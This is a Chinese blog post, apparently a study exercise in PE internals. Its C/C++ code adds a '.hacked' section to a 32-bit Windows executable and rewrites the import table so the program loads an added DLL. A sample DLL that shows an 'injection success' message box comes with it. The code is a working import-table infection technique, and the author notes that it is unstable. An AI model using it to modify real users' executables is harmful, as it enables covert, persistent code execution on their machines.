代码实现增加PE文件节区+修改IID结构(静态干预输入表),成功加载用户DLL

运行结果图,在一个hello world程序运行之前,代码实现让其加载我们的一个DLL文件。
在这里插入图片描述
修改前后文件结构对比
在这里插入图片描述在这里插入图片描述
修改PE文件干预输入表的代码如下:

#include<stdio.h>
#include<windows.h>

void infecting(char *);//修改导入表
LPVOID rva2raw(PIMAGE_SECTION_HEADER,DWORD,WORD);//RVA转RAW
char dllname[]="mydll.dll";//要加入的DLL名称
char path[MAX_PATH] = "c:\\Users\\Admin\\Desktop\\hello.exe";//要修改的文件名称
void main()
{
	
	infecting(path);
}

void infecting(char * path)
{
	HANDLE hFile;
	HANDLE hFileMap;
	LPVOID mapView;
	hFile = CreateFileA(path,GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);//打开文件句柄
	if(hFile == INVALID_HANDLE_VALUE)
		return;
	hFileMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,0x1000,NULL);//创建文件映射对象
	if(hFileMap == NULL)
		return;
	mapView = (PCHAR)MapViewOfFile(hFileMap,FILE_MAP_ALL_ACCESS,NULL, NULL, NULL);//将文件映射到该进程
	if(mapView == NULL)
		return;
	PIMAGE_DOS_HEADER pDos = PIMAGE_DOS_HEADER(mapView);//指向dos头
	PIMAGE_NT_HEADERS pNt = PIMAGE_NT_HEADERS(pDos->e_lfanew+(DWORD)pDos);//指向NT头
	PIMAGE_FILE_HEADER pFile = PIMAGE_FILE_HEADER((BYTE *)pNt+4);//指向FILE头
	PIMAGE_OPTIONAL_HEADER pOpt = PIMAGE_OPTIONAL_HEADER(&pNt->OptionalHeader);//指向OPTIONAL头
	PIMAGE_SECTION_HEADER pSect = IMAGE_FIRST_SECTION(pNt);//指向section头

	//判断是否PE文件
	if(pDos->e_magic == 0x5A4D&&pNt->Signature == 0x4550)
	{
		//判断是否32为PE
		if(pOpt->Magic == 0x010B)
		{	
			//判断是否有签名
			if(!pOpt->DataDirectory[4].VirtualAddress||!pOpt->DataDirectory[4].Size)
			{
				//零填充绑定输入
				if( pOpt->DataDirectory[11].VirtualAddress)//判断绑定输入是否为空
				{	
					pOpt->DataDirectory[11].VirtualAddress = 0;
					pOpt->DataDirectory[11].Size =0;
						//0填充
				}
				//区块名,判断是否被感染
				if(strcmp((PCHAR)((pSect+pFile->NumberOfSections-1)->Name),".hacked"))
				{
				//添加节区
					PIMAGE_SECTION_HEADER pSectHack = &pSect[pFile->NumberOfSections];
					memcpy(pSectHack->Name,".hacked",8);
					//计算VA
					DWORD vasize;
					if(((pSect+pFile->NumberOfSections-1)->Misc.VirtualSize)%(pOpt->SectionAlignment))
						vasize = ((pSect+pFile->NumberOfSections-1)->Misc.VirtualSize)/(pOpt->SectionAlignment)+1;
					else
						vasize = ((pSect+pFile->NumberOfSections-1)->Misc.VirtualSize)/(pOpt->SectionAlignment);
					pSectHack->Misc.VirtualSize = vasize*(pOpt->SectionAlignment);//新节块的Virtualsize
					pSectHack->VirtualAddress = (pSect+pFile->NumberOfSections-1)->VirtualAddress+vasize*(pOpt->SectionAlignment);
					//计算新的rawsize
					DWORD rawsize;
					if((pOpt->DataDirectory[1].Size+0x14)%(pOpt->FileAlignment))
						rawsize = (pOpt->DataDirectory[1].Size+0x14)/(pOpt->FileAlignment)+1;
					else
						rawsize = (pOpt->DataDirectory[1].Size+0x14)/(pOpt->FileAlignment);//因为要加新的IID,所以加14
					pSectHack->SizeOfRawData = rawsize*(pOpt->FileAlignment);//新节块的rawsize
					pSectHack->PointerToRawData = (pSect+pFile->NumberOfSections-1)->PointerToRawData+(pSect+pFile->NumberOfSections-1)->SizeOfRawData;//计算区块偏移
					pSectHack->Characteristics = 0xC0000040;//可写对齐
					pSectHack->NumberOfRelocations = 0;//无需重定向
					pSectHack->NumberOfLinenumbers = 0;
					pSectHack->PointerToLinenumbers = 0;
					pSectHack->PointerToRelocations = 0;
				//干预输入表,备份输入表到新的节区,加入新IID
					LPCVOID buf = new BYTE[pSectHack->SizeOfRawData];//申请内存存放新IID结构
					PDWORD resize = new DWORD[1];//存储实际读入字节
					memset((PVOID)buf,0,pSectHack->SizeOfRawData);//内存初始化为0
					LONG IIDraw = (LONG)rva2raw(pSect,pOpt->DataDirectory[1].VirtualAddress,pFile->NumberOfSections);//原始IID的raw
					SetFilePointer(hFile,IIDraw,NULL,FILE_BEGIN);//文件指针指向IID数组
					ReadFile(hFile,(PVOID)buf,pOpt->DataDirectory[1].Size,resize,NULL);//将原始IID读入到申请的内存
					PIMAGE_IMPORT_DESCRIPTOR myIID = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE *)buf+pOpt->DataDirectory[1].Size-0x14);//将原IID数组最后一项空IID声明为IID结构
					myIID->ForwarderChain=0;//无需转向
					myIID->TimeDateStamp=0;//忽略时间戳
				//找地址,写入新IID的各项内容,在这里我顺手反用了原始IID数组的地址
					PVOID oldiid = new BYTE*[pOpt->DataDirectory[1].Size];//清空原始IID数组
					memset(oldiid,0,pOpt->DataDirectory[1].Size);
					SetFilePointer(hFile,IIDraw,NULL,FILE_BEGIN);
					WriteFile(hFile,oldiid,pOpt->DataDirectory[1].Size,resize,NULL);
				//将原始IID数组改为新IID所需要的内容
					myIID->OriginalFirstThunk=pOpt->DataDirectory[1].VirtualAddress;//INT,指向原始IID数组位置
					LPVOID originalraw =rva2raw(pSect,pOpt->DataDirectory[1].VirtualAddress,pFile->NumberOfSections);//rva转raw,修改实际文件内容
					SetFilePointer(hFile,(LONG)originalraw,NULL,FILE_BEGIN);//文件指针指向新IID的originalFirstThunk
					DWORD iat =(pOpt->DataDirectory[1].VirtualAddress+0x20);//找地址存放IAT/INT
					WriteFile(hFile,&iat,sizeof(DWORD),resize,NULL);//将新区块指向INT的RVA地址写入,既写入original的内容
				//找地址,写入新IID的FirstTrunk
					myIID->FirstThunk=pOpt->DataDirectory[1].VirtualAddress+8;//,同样在原来IID数组找个位置填充IAT
					SetFilePointer(hFile,(LONG)originalraw+8,NULL,FILE_BEGIN);//文件指针指向新IID的FirstThunk
					WriteFile(hFile,&iat,sizeof(DWORD),resize,NULL);//将新区块指向INT的RVA地址写入,既写入Firsttrunk的内容
				//找地址,写入新IID的name的ascii
					myIID->Name=pOpt->DataDirectory[1].VirtualAddress+0x10;//RVA,同样在原来IID数组找个位置填充name
					SetFilePointer(hFile,(LONG)originalraw+0x10,NULL,FILE_BEGIN);//文件指针指向新IID的name
					WriteFile(hFile,dllname,sizeof(dllname),resize,NULL);//将字符串name写入
				//构建好IID结构内容与INA/IAT
					PVOID nop = new BYTE[2];//Hint,0填充
					memset(nop,0,sizeof(BYTE)*2);
					char funname[]="msg";
					SetFilePointer(hFile,(LONG)originalraw+0x20,NULL,FILE_BEGIN);//文件指针指向新IID的INT/IAT
					WriteFile(hFile,nop,sizeof(BYTE)*2,resize,NULL);
					WriteFile(hFile,funname,sizeof(funname),resize,NULL);//将IMAGE_IMPORT_BY_NAME写入
				//写入新区块
					SetFilePointer(hFile,pSectHack->PointerToRawData,NULL,FILE_BEGIN);//文件指针指向新区块开头
					WriteFile(hFile,buf,pSectHack->SizeOfRawData,resize,NULL);//将新区块内容写入文件
					pFile->NumberOfSections++;//节区数目加1
					pOpt->SizeOfImage += vasize*(pOpt->SectionAlignment);//修正Image大小
				//修改原始输入表信息
					pOpt->DataDirectory[1].Size += 0x14;
					pOpt->DataDirectory[1].VirtualAddress = pSectHack->VirtualAddress;
				}
			}
		}
	}

	UnmapViewOfFile(mapView);
	CloseHandle(hFileMap);
	CloseHandle(hFile);
}

LPVOID rva2raw(PIMAGE_SECTION_HEADER pSect,DWORD rva,WORD num)
{
	LPVOID offset=NULL;
	for(WORD i = 0;i<num;i++)
	{
		if(rva < (pSect->VirtualAddress+pSect->SizeOfRawData)&&rva > pSect->VirtualAddress)//遍历区块
		{
			offset =(LPVOID) (rva-( (pSect->VirtualAddress)-(pSect->PointerToRawData) ));//计算文件偏移
			return offset;
		}
		pSect++;
	}
	return offset;
}

一个简单的弹窗dll的实现代码如下:

#include<stdio.h>
#include<windows.h>
BOOL WINAPI DllMain(HANDLE hmoudle,DWORD call,LPVOID lpreser)
{
	switch(call)
	{
	case DLL_PROCESS_ATTACH:
		MessageBox(NULL,L"success!!!",L"注入成功",MB_OK);
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return true;
}
extern "C"_declspec(dllexport)void msg()
{
	MessageBox(NULL,L"success!!!",L"注入成功",MB_OK);
}

总结:在实际运行中,一部分程序无法修改或修改后无法正常运行,加载dll不稳定因素太多,如果有哪位大牛了解原因或BUG,还请告知一二。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值